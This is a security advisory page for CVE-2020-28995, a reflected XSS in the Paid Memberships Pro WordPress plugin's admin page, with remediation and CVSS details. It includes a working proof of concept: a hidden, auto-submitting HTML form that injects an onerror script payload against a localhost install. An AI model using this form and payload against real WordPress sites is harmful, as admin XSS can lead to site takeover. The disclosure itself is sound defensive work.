---
title: "CX-2020-4288"
date: "2020-11-16T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4288/"
---

# CX-2020-4288

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Nov 16, 2020

CVE-2020-28995  **Published:** Nov 16, 2020

8.2 High Severity RCE Reflected XSS wordpress XSS

RM Ron Masas  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of Paid Memberships Pro WordPress plugin are vulnerable to a reflected XSS in the admin page via the `page` post parameter. The `page` parameter is reflected using `$_REQUEST`, which prioritizes the POST parameter over the GET parameter.

## Product

Paid Memberships Pro WordPress plugin before version 2.5.1

## Impact

Exploiting XSS on an admin in WordPress could result in RCE when editing a plugin code.

## Steps to reproduce

1. WordPress with the vulnerable plugin installed on port 8000.
2. Admin navigates to

    ```
    <html><head></head>
    <body>
     <form style="opacity: 0;" action="http://localhost:8000/wp-admin/admin.php?page=pmpro-memberslist" method="POST">
         <input type="text" name="page" value='"><img src=v onerror=alert(1) >' />
         <button>submit</button>
     </form>
     <script>
         document.querySelector('form').submit();
     </script>
    </body></html>
    ```

### Expected result:

Paid Memberships Pro settings page will show with a javascript alert.

## Remediation

Update Paid Memberships Pro plugin to 2.5.1 or above.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [@ronmasas (Ron Masas)](https://twitter.com/ronmasas).

## Resources

1. [Advisory](https://www.paidmembershipspro.com/pmpro-update-2-5-1/)

0  High Severity CVSS v3.1 Score

   8.2

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: None

Advisory Timeline1. Disclosed Nov 15, 2020 Notified the maintainer
2. Fixed Nov 16, 2020 Fix got released

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)